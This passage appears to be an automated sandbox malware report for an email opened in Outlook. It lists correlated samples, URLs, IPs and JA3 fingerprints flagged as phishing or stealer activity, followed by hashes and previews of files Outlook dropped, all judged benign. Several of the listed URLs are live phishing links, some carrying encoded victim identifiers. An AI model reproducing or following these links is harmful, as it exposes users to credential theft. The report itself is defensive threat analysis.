s-part-0017.t-0009.t-msedge.net	https://secured-login.net/XdXJqsPWh0dHaBzOi8vc2vVjdXJluuZC1stb2dpbi5uaZXwQvcGFnZXMvYzM5NTVimMWM0OGEmZW1haWxfdGVtcGxhdGVfaWQ9NzUwNDcyOCZhY3Rpb249cHJldmlldyZ1c2VyX2lkPTk3NjU4ODMx	Get hash	malicious	KnowBe4	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	Transcript_Sh03 summit bhc.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	Transcript_Sh03 summit bhc-2.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	m8WbwyjyhF.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	8Tr6lEkq7A.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	hho7L6KHTV.dll	Get hash	malicious	Unknown	Browse	13.107.246.45
	FmpSW738lB.dll	Get hash	malicious	Dridex Dropper	Browse	13.107.246.45
	gkmiRrlhAu.dll	Get hash	malicious	Unknown	Browse	13.107.246.45
	KwZnzfkQto.dll	Get hash	malicious	Dridex Dropper	Browse	13.107.246.45
sni1gl.wpc.omegacdn.net	Transcript_Sh03 summit bhc.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	Transcript_Sh03 summit bhc-2.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	#U25b6#Ufe0fVmail__00_15.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	https://www.google.com/url?sa=https://r20.rs6.net/tn.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/bradleypeltz.com%2Fpmu%2F65625cb6bf5cbcc05760d01a9c9adceac1c10797/YmlhcUBiaWEuZ292	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://ad.broadstreetads.com/click/808995/c536057/z64631?destination=https://carolyndc.com/m/?c3Y9bzM2NV8xX25vbSZyYW5kPVJFVXiaMUE9JnVpZD1VU0VSMTQxMDlwMjRVMTQxMDE0NTc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	Audio.wav_98712647842647873841.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	https://grandpasbs.com/wp-includes/o/?c3Y9bzM2NV8xX3NwJnJhbmQ9ZG1KdWNsTT0mdWlkPVVTRVIwMzEwMjAyNFU0MjEwMDMzMA==N0123N	Get hash	malicious	Mamba2FA	Browse	152.199.21.175
	bostonbeer.com 4343988690.html	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	Multi Graphics Inc CustomerVendor Form.pdf	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://app.smartsheet.com/b/form/d72b00b027df4e38a9b052ac176790d8	Get hash	malicious	Unknown	Browse	152.199.21.175

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.89.179.8
	Transcript_Sh03 summit bhc.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	Transcript_Sh03 summit bhc-2.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	Completed 17560_Steamsolutions. 401(k) Profit Sharing Plan_Amendment.msg	Get hash	malicious	HTMLPhisher	Browse	52.109.76.144
	#U25b6#Ufe0fVmail__00_15.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.44
	https://6n95d.outouncip.com/ZXvIWsw/	Get hash	malicious	Unknown	Browse	150.171.28.10
	https://hrdesign-my.sharepoint.com/:u:/g/personal/scott_hrdesigninc_com/EbJc5KBDp9FFtlL1fhxyW3gB4XLFt1qWVv8kUYI0bqQizQ?e=j79cKg	Get hash	malicious	Unknown	Browse	52.108.79.26
	https://www.google.com/url?sa=https://r20.rs6.net/tn.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/bradleypeltz.com%2Fpmu%2F65625cb6bf5cbcc05760d01a9c9adceac1c10797/YmlhcUBiaWEuZ292	Get hash	malicious	HTMLPhisher	Browse	40.126.32.72
	https://ad.broadstreetads.com/click/808995/c536057/z64631?destination=https://carolyndc.com/m/?c3Y9bzM2NV8xX25vbSZyYW5kPVJFVXiaMUE9JnVpZD1VU0VSMTQxMDlwMjRVMTQxMDE0NTc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	Audio.wav_98712647842647873841.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.133.135
	https://secured-login.net/XdXJqsPWh0dHaBzOi8vc2vVjdXJluuZC1stb2dpbi5uaZXwQvcGFnZXMvYzM5NTVimMWM0OGEmZW1haWxfdGVtcGxhdGVfaWQ9NzUwNDcyOCZhY3Rpb249cHJldmlldyZ1c2VyX2lkPTk3NjU4ODMx	Get hash	malicious	KnowBe4	Browse	104.18.90.62
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.133.135
	AWB_NO_907853880911.exe	Get hash	malicious	FormBook	Browse	104.21.74.79
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.133.135
	) wavr3e.htm	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	188.114.96.3
	Transcript_Sh03 summit bhc.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.17.25.14
	Transcript_Sh03 summit bhc-2.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.17.24.14
	Completed 17560_Steamsolutions. 401(k) Profit Sharing Plan_Amendment.msg	Get hash	malicious	HTMLPhisher	Browse	104.21.11.102
	https://u1427642.ct.sendgrid.net/ss/c/u001.dS8G1M7FczMLvTWQLM0hXeVYSu4GCxuafmO7h_Bw2esQpGbez8XUw9Q0m4bsMiuQ/4b9/cYMhiTcESBClGxFvQFyo6w/h1/h001.qb3pk5M-xBAcefw259VDHWChRDuHJhqRctZ04Zdw5cs#RYW5uYS5wZXJyeUBoaWxjb3JwLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
AMAZON-02US	sparc.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	108.156.211.71
	AWB_NO_907853880911.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Transcript_Sh03 summit bhc.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.5
	Transcript_Sh03 summit bhc-2.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.227.219.47
	https://stackby.com/form/frshr1730989479744b2c855	Get hash	malicious	HTMLPhisher	Browse	52.219.184.6
	#U25b6#Ufe0fVmail__00_15.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.227.219.40
	https://6n95d.outouncip.com/ZXvIWsw/	Get hash	malicious	Unknown	Browse	13.225.78.31
	https://app.seesaw.me/pages/shared_item?item_id=item.f55136ca-7b36-4379-9b77-58e407d2ea30&share_token=MZGyiosGTEy6zbWQfAekIw&mode=share	Get hash	malicious	HTMLPhisher	Browse	18.239.69.23
	https://ad.broadstreetads.com/click/808995/c536057/z64631?destination=https://carolyndc.com/m/?c3Y9bzM2NV8xX25vbSZyYW5kPVJFVXiaMUE9JnVpZD1VU0VSMTQxMDlwMjRVMTQxMDE0NTc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.5

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
	8M4DsnNkuP.exe	Get hash	malicious	Stealc	Browse	23.1.237.91
	) wavr3e.htm	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	23.1.237.91
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.1.237.91
	2024-end-classfile-overview-4324383873.pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
	Play_VM_00_01_22sec-ATT212monika.hayward@bostonbeer.com.html	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	23.1.237.91
	https://krs.microsoft.com/redirect?id=-crYd9Lj	Get hash	malicious	Unknown	Browse	23.1.237.91
	vMRlWtVCEN.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	https://portafirmas.metromadrid.net/	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	https://secured-login.net/XdXJqsPWh0dHaBzOi8vc2vVjdXJluuZC1stb2dpbi5uaZXwQvcGFnZXMvYzM5NTVimMWM0OGEmZW1haWxfdGVtcGxhdGVfaWQ9NzUwNDcyOCZhY3Rpb249cHJldmlldyZ1c2VyX2lkPTk3NjU4ODMx	Get hash	malicious	KnowBe4	Browse	20.190.159.2 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	20.190.159.2 13.107.246.45 20.12.23.50
	8M4DsnNkuP.exe	Get hash	malicious	Stealc	Browse	20.190.159.2 13.107.246.45 20.12.23.50
	) wavr3e.htm	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	20.190.159.2 13.107.246.45 20.12.23.50
	Transcript_Sh03 summit bhc.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	20.190.159.2 13.107.246.45 20.12.23.50
	Transcript_Sh03 summit bhc-2.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	20.190.159.2 13.107.246.45 20.12.23.50
	#U25b6#Ufe0fVmail__00_15.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	20.190.159.2 13.107.246.45 20.12.23.50
	https://6n95d.outouncip.com/ZXvIWsw/	Get hash	malicious	Unknown	Browse	20.190.159.2 13.107.246.45 20.12.23.50
	https://app.seesaw.me/pages/shared_item?item_id=item.f55136ca-7b36-4379-9b77-58e407d2ea30&share_token=MZGyiosGTEy6zbWQfAekIw&mode=share	Get hash	malicious	HTMLPhisher	Browse	20.190.159.2 13.107.246.45 20.12.23.50
	https://ad.broadstreetads.com/click/808995/c536057/z64631?destination=https://carolyndc.com/m/?c3Y9bzM2NV8xX25vbSZyYW5kPVJFVXiaMUE9JnVpZD1VU0VSMTQxMDlwMjRVMTQxMDE0NTc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	20.190.159.2 13.107.246.45 20.12.23.50

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 4770 bytes, 1 file, at 0x2c +A "disallowedcert.stl", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	4770
Entropy (8bit):	7.946747821604857
Encrypted:	false
SSDEEP:	96:9/nBu64pydcvOHRUfu0xK1bQYMRSRNoYmxYvk56sHMZhh4m:9/nBuP2cGxUfu6K1bpWJ6vfh4m
MD5:	1BFE591A4FE3D91B03CDF26EAACD8F89
SHA1:	719C37C320F518AC168C86723724891950911CEA
SHA-256:	9CF94355051BF0F4A45724CA20D1CC02F76371B963AB7D1E38BD8997737B13D8
SHA-512:	02F88DA4B610678C31664609BCFA9D61DB8D0B0617649981AF948F670F41A6207B4EC19FECCE7385A24E0C609CBBF3F2B79A8ACAF09A03C2C432CC4DCE75E9DB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	MSCF............,...................O.................2Wqh .disallowedcert.stl....^K...CK.wTS...:.w.K'.C0T.....Bh.{....C.)......Y@...(..).R."E..D^6........u....\|f~3...o.3. ..SPK.k.o#...."{-.U..P........:..aPr.@.d......Dy.h.....)..:...!./\A.....A<I_<$...q.h..........'.....7....H...@`T..K.S.%...Y4..R.....`.....-....D...(..b..-c."...G.=.dx..S+..2.a.E....d.L...77J...c.[..@..iT&..^78..g....NW6.Ek..FY.F........cNt.O...R..........D...... k........J.y...z.d...;.9_t...].@....yw..}.x....d.t..`f\K..;\|.h.X...4/.;.xT......q>.0...<...3...X..L$.&.,b.....\V....\......G..O..@..H3.....t..J..).x.?.{[..G>.7...<...^Q..z..Gw9P..d....i].n%K}.z..2.Py...A..s...z..@...4..........4.....Y.d..._Z.5.s..fl.C..#.K{9^.E...k..z.Ma..G.(.....5g. ...}.t.#4....$;.,....S@fs....k......u .^2.#_...I........;.......w..P...UCY...$;.S._\|.x..dK...[i..q..^.l..A.?.....'N.. .L.l......m.*.+f#]............A.;.....Z..rIt....RW....Kr1e=8.=.z:Oi.z.d..r..C_......o...]j.N;.s....3@3.dgrv.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	2.98387607734814
Encrypted:	false
SSDEEP:	3:kkFkl+8aDkXfllXlE/0hJlX16pFRltB+SliQlP8F+RlTRe86A+iRlERMta9b3+AN:kKhfN+SkQlPlEGYRMY9z+s3Ql2DUe/
MD5:	B51C7F7A86AB8D2B9E671DF12D42789B
SHA1:	FF4BCCA4530D2A3B57CB0282DAA33F6CB2061E56
SHA-256:	76E03EE01C67A3C22CF6112E7A81808D016B64AE32E3CDDA7BFDCFE95CF81075
SHA-512:	86F331FB3DD6626685399A76D17F16066F534D7B514771D6884D4D8FAC3220013D1BCAFAEFE4CC1C472C8528055375760ABB4C0AFB8EB353F43B299688E55BC8
Malicious:	false
Reputation:	low
Preview:	p...... ........h...f1..(....................................................... .........p.........................h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	231348
Entropy (8bit):	4.397160709774704
Encrypted:	false
SSDEEP:	3072:84WgRbFgEmiGu2GqoQTrt0Fv7gzeNfvGf:8+Tmi2z1ze1v+
MD5:	A01859B493D82C94938BF38C2F9BBB8B
SHA1:	B48B88F47BCBEA420942AF5EECB6BDE3DE9D4DEA
SHA-256:	05FEF468FC31A564DFC0496639FF741C77DBE13B0C615CC108F564487BF23875
SHA-512:	AC66285F6AE952D6C1D625AE73BA160B7D464FDE0698C6C59E577AA637BB0336686E84C631AF5DA83A66ECA9A2A9D66DE1D67E5E08C413BE2621DFE4B416715E
Malicious:	false
Reputation:	low
Preview:	TH02...... ...Y.f1......SM01X...,.....N.f1..........IPM.Activity...........h...............h............H..h,.7.....-......h..........w.H..h\alf ...AppD...hx.r.0.....7....h...v...........h........_`.j...h...v@...I..v...h....H...8..j...0....T...............d.........2h...............k_.D.....e.....!h.............. hXA........7...#h....8.........$h..w.....8....."h.tq.....8rq...'h..............1h...v<.........0h....4.....j../h....h......jH..h...p...,.7...-h ........7...+h...v.... .7.......#h0....... ..............F7..............FIPM.Activity....Form....Standard....Journal Entry...IPM.Microsoft.FolderDesign.FormsDescription................F.k..........1122110020000000....Microsoft.ffThis form is used to create journal entries.........kf...... ..........&...........(.......(... ...@.....................................................................................................................fffffffff........wwwwwwww.p....pp..............p...............pw..............pw..DDDDO..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\43016259-7FF2-417A-BB2B-7EC6D3BE846D

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	180288
Entropy (8bit):	5.291012940488912
Encrypted:	false
SSDEEP:	1536:0i2XfRAqFbH41gLEwLe7HW8QM/o/NMOcAZl1p5ihs7EXXOEADpOoagYdGVF8S7CC:ePe7HW8QM/o/aXbbkx
MD5:	1C2A0536F189054E91951FC442811128
SHA1:	61D209DAC9C66C1416F1D403D6119605E0F3ADBD
SHA-256:	C1F0A25E84E54F709513885068B94CDC52CB781977DF37B7A7E92621AEFB94B9
SHA-512:	FDD35AE41D4542FE0EF5A833A3B535A9B1E9D59FB64099744D9F328F7CFE595330B53C873B0E3A99BCF5325ED6EE8209BBFB7B45A7B431C40B20E131945A7155
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2024-11-07T22:47:17">.. Build: 16.0.18223.40125-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://word-edit.officeapps.live.com/we/rrdiscovery.ashx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId" o:authentication="1">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. <o:ticket o:policy="MBI_SSL_SHORT" o:idprovider="1" o:target="[MAX.AuthHost]" o:headerValue="Passport1.4 from-PP='{}&p='" />.. <o:ticket o:idprovider="3" o:headerValue="Bearer {}" o:resourceId="[

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite 3.x database, last written using SQLite version 3023002, writer version 2, read version 2, file counter 2, database pages 1, cookie 0, schema 0, largest root page 1, unknown 0 encoding, version-valid-for 2
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.09216609452072291
Encrypted:	false
SSDEEP:	3:lSWFN3l/klslpF/4llfll:l9F8E0/
MD5:	F138A66469C10D5761C6CBB36F2163C3
SHA1:	EEA136206474280549586923B7A4A3C6D5DB1E25
SHA-256:	C712D6C7A60F170A0C6C5EC768D962C58B1F59A2D417E98C7C528A037C427AB6
SHA-512:	9D25F943B6137DD2981EE75D57BAF3A9E0EE27EEA2DF19591D580F02EC8520D837B8E419A8B1EB7197614A3C6D8793C56EBC848C38295ADA23C31273DAA302D9
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......................................................................... .....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.13760166725504608
Encrypted:	false
SSDEEP:	3:7FEG2l+7XIlH/FllkpMRgSWbNFl/sl+ltlslVlllfllcSn:7+/l8YBg9bNFlEs1EP/sSn
MD5:	501D0FEE5A5F69FD8DC19E829C19E5A7
SHA1:	B4462F3E19C32CA5190A4D01F3778FE6A5BC2154
SHA-256:	F63468633B381ED8DC5B73C59E4C566F4B64C86977B0D67183C0EC0D311BFA98
SHA-512:	BE79A67CD63C2CCC0472AE5807AC3987D0BD8D107DC7A12FE782B29CC3AA0B3707F23996662FDEA4C0BA4C8A8127C2AFEBC38925B9B0815E8056AE2F8BC7EBE8
Malicious:	false
Reputation:	low
Preview:	.... .c.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ .......................................................................... .................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.04462234229792196
Encrypted:	false
SSDEEP:	3:G4l2rfidJblVYRPRl2rfidJblVYRPhllWlL9//Xlvlll1lllwlvlllglbXdbllAC:G4l2rKdJkRl2rKdJkhqL9XXPH4l942U
MD5:	6A6AE67228E1A1F2BB9F9B88FC04AF77
SHA1:	2890FDBCC31EADE16996B7ABFFFA743744FD7341
SHA-256:	D551BED9C344C7F8726026E5AD4E6BDD9B89C16BCA0EA609D849FCEBBC20E9F5
SHA-512:	853A64F675F7EF56F5D4F57EBC8AA255E73D66CAC0826BDA98E964A9324AE0C66408276AEEEEAAA0285D45482AFF079CFD597867E2281A0457AC205CB2A4BF94
Malicious:	false
Preview:	..-.......................UX..8l...."...VA\|..F...-.......................UX..8l...."...VA\|..F.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	modified
Size (bytes):	45352
Entropy (8bit):	0.3941680419450139
Encrypted:	false
SSDEEP:	24:KgY7TdQ3zRDEwEUll7DBtDi4kZERDfz7Xzqt8VtbDBtDi4kZERDu:tsTdQ14wEUll7DYMTXzO8VFDYMK
MD5:	F8692B00FA79F83CD4BFB28BFF9792E9
SHA1:	FCA87F3DBCC9AFBD7B8A49B5992565B276AE1523
SHA-256:	C8374A0369A78F72FD8E7D4690D63C4910F3C94B9ADBB99ED3F02EDA3EDCD820
SHA-512:	89281D79AFC2D1977A08B387D181649A0E0F4743EE434F80C84FFF92D3BDE15F8F45B8D968539E95EB5CDCE2E6244104B0DB6799BCF7A6FF572FD0E9E5356E45
Malicious:	false
Preview:	7....-.............."....g.*fM6............."....3.....SQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\707210CF.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	PNG image data, 300 x 300, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17560
Entropy (8bit):	7.933280155249939
Encrypted:	false
SSDEEP:	384:O7/YPS2S3q+AnxSTKSlVsoUivN0c/8E+IRXUW3Q4:O7/YPSinx9Sn+y/8EF1UZ4
MD5:	4FE2DC9B6B0C78016D4CBDC10252DBDD
SHA1:	858ECBA104B2DBE9FA118CB80F1E4F91DEB3D8A3
SHA-256:	FEDF03002B2221E0DE6A3CBA830D690295B68228C7EE9B950BEBFAE5A40CCF48
SHA-512:	8CD8DE2C6B6DF7EA2BF655B3AD841FACF303DD2102EC98BB7E20DF87F2A0787A6DE608E1B1C40DB975A46A49C5E27D8F52D8D26E56DCE023F9FF0FC97256001E
Malicious:	false
Preview:	.PNG........IHDR...,...,.....y}.u..D_IDATx.....^e.....:..mz&S2L&....@Bgi..(.+.....-.>........WY.F...HB. ....d&...s..#.~\|v_.{.w.....~E...q..`p.....q..ap.....q..ap.....q..ap.....q..ap.....q..ap.....q..ap.....q...."..'.U.x..FKU)GD...R..0Z.J9".h.#...QU...F...#"....DD..Ue$".BU....8N.08..T...8N.08..T...8N.08..T...DUy......a.T.rD.rT.J...#"...P..2...D......l..q..ap.....q..ap.....q..ap.....q....'""..... "..".h../7.J9".KMD...R..0Z.J9".KMD8.T....q..B...q..q..B...q..q..B...q............D..RU..U..=..8N.08..T...8N.08..T...8N.08..T...ESU....xPU...FKU)GDx.....U.....U....q..B...q..q..B...q..q..B...q..q..B......".h...#QUFCU...0..J9".HT.rD.rT....N.....8.S!...8...8.S!...8...8.S!...8...8....o.J9"B9..HD.rT.rD....../7"B9.J9"....J`p.....q..ap.....q..ap.....q...."....p<...P..2..a4D.......)..t..q..ap.....q..ap.....q..ap.....q...."...#..^NT...../5Ue$".. "......J9"B9..HD.rT.rD......r.......8...8.S!...8...8.S!...8...8.S!D..Q...QUF""..T.rD...U...a$.J9".h..!"..*/'

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{38B8CA5B-06E4-4B45-A50F-11A8605D86D4}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	0.9356930877311646
Encrypted:	false
SSDEEP:	3:wzr8lE7ZSMl6lfXH1RIYzhlalhlXlFMlXly+7LlSgJL/ZU592gt95wvlMXl2lNlh:wc+lwfMYzihVMl1yfnigHuv212cnMO8
MD5:	0ADB49FB7F50FC953580662362BDD83A
SHA1:	88249A74CFE49263832A527C58EAB27DC3D9CE32
SHA-256:	F6A2191EF0167583B6B5849E4A4D4C33C5DEAD70F2BF86768A8E3CC35BE0928D
SHA-512:	CE16A515661A44EDA71B05FCABA5B940D4DC660262AB8D8340F079B9BABAAF322A9C0BCF576DEB28C447BF5A0F6EDDA8ECE9FE1B3547E3B18DBF8FB55F168590
Malicious:	false
Preview:	...... .......I.N.C.L.U.D.E.P.I.C.T.U.R.E. . .\.d. .".h.t.t.p.s.:././.l.o.g.o...c.l.e.a.r.b.i.t...c.o.m./.l.e.g...w.a...g.o.v.". .\.x. .\.y. .\.*. .M.E.R.G.E.F.O.R.M.A.T.I.N.E.T... . .................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1731019634297279800_6DF433B8-5D16-42EB-A66E-1F37A741068C.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.008668532845344948
Encrypted:	false
SSDEEP:	384:glapTVLLKujAtqbKprIW9Mel/raJevFSB/:glapTVP5j3mprIrU/raJevFSB/
MD5:	083E5DB213CDABFD91FC2946723B81E3
SHA1:	A134D03BFC96736B1E29B1BAC44A9BB3747C2D48
SHA-256:	75366D6123E144B769BF618CF3ADCC584B7AD2A2A94D4D3FD0F63AEC66EBDF6A
SHA-512:	59C061DAE90F09A00AC0AD497142E44E2FE28D80ABE0E1465B9CDA364BC25B5AABE3B7BF8A56931F020123D997A8C26B5C4D00D1BA52B546099A7258D62E7EDB
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..11/07/2024 22:47:14.408.OUTLOOK (0x854).0x4F4.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.System.GracefulExit.GracefulAppExitDesktop","Flags":33777014402039809,"InternalSequenceNumber":17,"Time":"2024-11-07T22:47:14.408Z","Data.PreviousAppMajor":16,"Data.PreviousAppMinor":0,"Data.PreviousAppBuild":16827,"Data.PreviousAppRevision":20130,"Data.PreviousSessionId":"E5ABF1E4-6EA8-4CD9-AD6D-96E885EF0271","Data.PreviousSessionInitTime":"2024-11-07T22:46:53.397Z","Data.PreviousSessionUninitTime":"2024-11-07T22:46:56.616Z","Data.SessionFlags":2147483652,"Data.InstallMethod":0,"Data.OfficeUILang":1033,"Data.PreviousBuild":"Unknown","Data.EcsETag":"\"\"","Data.ProcessorArchitecture":"x64"}...11/07/2024 22:47:14.580.OUTLOOK (0x854).0xEA4.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.LoadXmlRules","Flags":33777014401990913,"InternalSequenceNumber":24,"Ti

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1731019634298597900_6DF433B8-5D16-42EB-A66E-1F37A741068C.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	8F4E33F3DC3E414FF94E5FB6905CBA8C
SHA1:	9674344C90C2F0646F0B78026E127C9B86E3AD77
SHA-256:	CD52D81E25F372E6FA4DB2C0DFCEB59862C1969CAB17096DA352B34950C973CC
SHA-512:	7FB91E868F3923BBD043725818EF3A5D8D08EBF1059A18AC0FE07040D32EEBA517DA11515E6A4AFAEB29BCC5E0F1543BA2C595B0FE8E6167DDC5E6793EDEF5BB
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241107T1747130908-2132.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	4.6406240378280526
Encrypted:	false
